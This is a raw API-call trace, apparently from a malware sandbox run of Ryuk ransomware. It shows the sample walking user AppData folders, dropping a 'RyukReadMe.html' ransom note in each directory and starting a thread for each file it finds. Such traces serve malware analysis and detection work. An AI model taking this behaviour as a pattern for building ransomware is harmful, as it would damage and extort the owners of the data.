	[0225.878] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0225.879] SetLastError (dwErrCode=0x0) 
	[0225.879] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0225.879] GetLastError () returned 0xb7
	[0225.879] CloseHandle (hObject=0x77c) returned 1
	[0225.879] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f8, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0225.880] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.880] SetLastError (dwErrCode=0x0) 
	[0225.880] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.880] GetLastError () returned 0x3
	[0225.880] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0225.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.880] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0225.880] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0225.881] SetLastError (dwErrCode=0x0) 
	[0225.881] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0225.881] GetLastError () returned 0xb7
	[0225.881] CloseHandle (hObject=0x724) returned 1
	[0225.881] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0225.882] SetLastError (dwErrCode=0x0) 
	[0225.882] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0225.882] GetLastError () returned 0xb7
	[0225.882] CloseHandle (hObject=0x724) returned 1
	[0225.882] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0225.883] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.883] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0225.883] SetLastError (dwErrCode=0x0) 
	[0225.884] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0225.884] GetLastError () returned 0x0
	[0225.885] WriteFile (in: hFile=0x77c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0226.937] CloseHandle (hObject=0x77c) returned 1
	[0226.940] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0226.982] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0226.982] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0226.982] SetLastError (dwErrCode=0x0) 
	[0226.982] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0226.984] GetLastError () returned 0x0
	[0226.984] WriteFile (in: hFile=0x77c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0226.987] CloseHandle (hObject=0x77c) returned 1
	[0226.987] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0226.988] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0226.988] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1
	[0226.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0226.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0226.992] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.992] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", cAlternateFileName="FSD-{4~1.FSD")) returned 1
	[0226.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0226.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0226.996] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.997] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 1
	[0226.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0226.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0226.999] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.000] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 0
	[0227.000] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0227.000] SetLastError (dwErrCode=0x0) 
	[0227.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.000] GetLastError () returned 0x3
	[0227.000] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0227.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.001] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
	[0227.001] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0227.001] SetLastError (dwErrCode=0x0) 
	[0227.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0227.001] GetLastError () returned 0xb7
	[0227.001] CloseHandle (hObject=0x6d8) returned 1
	[0227.002] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0227.002] SetLastError (dwErrCode=0x0) 
	[0227.002] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0227.002] GetLastError () returned 0xb7
	[0227.002] CloseHandle (hObject=0x6d8) returned 1
	[0227.003] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0227.003] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.003] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0227.003] SetLastError (dwErrCode=0x0) 
	[0227.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0227.004] GetLastError () returned 0x0
	[0227.004] WriteFile (in: hFile=0x77c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0227.007] CloseHandle (hObject=0x77c) returned 1
	[0227.007] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0227.008] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.008] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0227.008] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0227.008] SetLastError (dwErrCode=0x0) 
	[0227.008] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.008] GetLastError () returned 0x3
	[0227.008] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0227.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
